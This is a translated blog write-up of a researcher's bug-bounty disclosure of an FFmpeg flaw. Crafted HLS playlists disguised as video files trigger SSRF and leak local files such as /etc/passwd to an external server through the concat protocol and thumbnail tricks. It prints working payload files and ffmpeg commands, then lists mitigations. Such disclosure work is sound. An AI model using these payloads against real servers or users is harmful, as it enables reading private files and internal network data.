📜 ⬆️ ⬇️

Dangerous video: how I found a vulnerability in video hosting and did not die after 7 days



Hello! I'm Maxim Andreev, programmer for the backend of Mail.Ru Cloud. In my free time I like to search for bugs. In today's post, I want to tell you about one rather interesting vulnerability that I found and fixed in bug bounty of several large companies, for which I received a solid reward. The vulnerability is as follows: if you create a special video file and upload it to the server, then:



Technical Foreword



')
There are a huge number of codecs, video and audio formats, but sometimes you need to get something specific, skipping all this set through some black box. For example, we may need to output MP4-video with a given quality or JPEG-preview. Quite often, this black box becomes FFmpeg . This open source set of libraries and binary utilities, it is actively developed, supports a large number of audio and video codecs, so it is often used to convert video and generate thumbnails, both as a separate tool and as separate libraries used by third-party applications. Most large companies run FFmpeg with a command from a script or some kind of binary to fork-exec. It so happened that it is simpler to fork from a binary and execute an FFmpeg binary than to fence it all using libraries.

Creating a malicious file


FFmpeg includes a console utility, ffmpeg. Create a file test.avi, which is really an avi file, and copy it with two other extensions: .mov and .123. If you ask ffmpeg to convert any of these files, it will do everything without any problems, that is, it will not pay attention to the file extension. But there is one important exception, which was very useful to me in the implementation of one of the attacks described later, but more on that later.

There is a video format like HLS (HTTP Live Streaming). It was developed by Apple for streaming video. This format supports such a pleasant thing as adaptive streaming, that is, a change in quality during playback. But for us here it is important that the format consists of the so-called main playlist, which lists several other playlists with some given quality, and already in these playlists, pieces of video are listed.



Create a file test.mp4, which is actually the m3u8 HLS playlist:

#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://www.example.org/1.mp4 #EXT-X-ENDLIST 

He has a title, there is an ending and a link on which you need to take a piece of video. As we already know, it is not necessary to assign the extension .m3u8, the file may be called test.mp4 or test.mov - ffmpeg will still understand that this is a m3u8 playlist, and will interpret it exactly as a playlist. If we run our test.mp4 through any of the many millions of sites to convert online video, ffmpeg, which is used by this online converter, interprets the file as a playlist, will follow the link specified in it and on our server we will see a GET request from this online converter IP:


Request from one of the online converters to our server

That is, at the moment we already have a simple SSRF, however, until we can read the answer.

Let's go further. I mentioned an important exception related to file extensions. We offer ffmpeg to convert the text file file.txt to the out.mp4 video file. What do you think will happen in this case? In the file out.mp4 there will be a video in which this text file will be played just by running lines! It turns out that we can already steal any txt-files from these online conversion services. But this is not very interesting to us. Let's move on.

But what if we add to the http url at the end in the GET-parameter .txt? It turns out that ffmpeg will think that this is a text file and that the response should be interpreted as txt. Here is an example request for mail.ru:

 #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://www.mail.ru/?.txt #EXT-X-ENDLIST 



The HTML code from the answer is played in the received video! That is, in this case, we were able to read the response to any network requests using this SSRF.

Moving on. FFmpeg supports a huge number of different protocols, including concat. According to the documentation, this protocol reads a binary data stream from several sources, sticks together and further interprets them as if they were from the same source.

Let's take an example. Suppose we have a file header.m3u8, such an unfinished playlist, which says “example.org?”. Let's make FFmpeg, after submitting test.avi to it using the concat protocol, form a clever m3u8, containing file: /// etc / passwd, and send it to our example.org server:

file hosted on dx.su/header.m3u8 :
 #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://example.org? 

test.avi:
 #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://dx.su/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST 

↓

 http://example.org?# $FreeBSD: release/10.0.0/et.. 

FFmpeg, getting test.avi, will take header.m3u8 and open it as example.org, and from file: /// etc / passwd will take the first line, construct a URL and follow it. Thus, we can get the first line of absolutely any local file that will be transferred via HTTP to our server, if we control example.org. There is a small trick that allows us not only to steal the first line, but also to read the entire file line by line - another protocol called subfile. I will not describe it here, but if you are interested, look at the documentation, there is nothing complicated there.

Consider another way to steal the entire file. We use the same technique with concat and take the title of the video format YUV4MPEG2. This is an uncompressed format with a simple text header. Any data stream in this file is interpreted as 8 bits per 1 pixel, that is, 1 byte per 1 pixel. Take video.mp4, in which there will be a soncat of this header and file: /// etc / passwd. Imagine that we uploaded it to some kind of cloud video service. Most likely, you will see a thumbnail. And for its generation, most likely, FFmpeg will also be used somehow.

For the sake of simplicity, we’ll assume that we have a thumbnail in PNG format, that is, lossless compression. Ask ffmpeg to make a thumbnail of the supposedly MP4 video video.mp4, which is actually a tricky m3u8 playlist:

header.y4m file:
 YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono FRAME 

video.mp4 file:
 #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://dx.su/header.y4m|file:///etc/passwd #EXT-X-ENDLIST 


 ffmpeg -i video.mp4 thumbnail.png 


thumbnail.png

And now the resulting thumbnail is decoded back:

 ffmpeg -i thumbnail.png out.y4m 

file out.y4m:
 YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono FRAME # $FreeBSD: release/10.0.0/etc/master.passwd 256366 ,! 2013-10-12 06:08:18Z rpaulo $ # root:*:0:0:Charlie &:/root:/usr/local/bin/zsh toor:*:0:0:Bourne-again Superuser:/root: … 

We can see the header that was in header.y4m, and in the future - the full text file: /// etc / passwd.

Suppose we again generated our malicious file with the correct header, did the concat trick, used file: /// etc / passwd. Only now we don’t upload the file to some service, but just give it to the user so that he downloads it and doesn’t even launch it. If you use, say, Kali Linux, then while the thumbnail is generated, GStreamer will transfer the full path of this file to our server in the referrer. So we can find out the username and any other non-public information. And in the case of Ubuntu, FFmpeg will pass us the first line file: /// etc / passwd to the user who just downloaded the file.


Request from Kali Linux


Request from Ubuntu Linux

Finally


Using this specially constructed video file, you can first simply make SSRF requests without reading the answer, read the answer to any network requests, read local files, and in several ways. And what's more, we can even send this attack against ordinary users who just downloaded the file, and not against the servers.

By the way, I talked about this vulnerability at the last Security Meetup - now they regularly run in our Mail.Ru Group. If you want to take part in one of the following and you have something to tell, write about it to me, Karim valievkarim Valiev or Vladimir z3apa3a Dubrovin.

UPD: How to protect yourself from the problem when encoding video on the server using ffmpeg:

  1. Running ffmpeg in an isolated environment (in a chroot or in a container) is mandatory, given that ffmpeg potentially contains many vulnerabilities, regardless of the problem described in this article (see googleonlinesecurity.blogspot.ru/2014/01/ffmpeg-and-thousand- fixes.html ).
  2. Run ffmpeg inside this environment from under a separate user with write / read access only where needed.
  3. Disable (--disable-network in configure) or restrict (in iptables, you can make rules according to the user's uid) access to the ffmpeg network if it cannot be completely disconnected.

The developers of ffmpeg / libav are notified of the problem, I made and sent them a patch.

Source: https://habr.com/ru/post/274855/


All Articles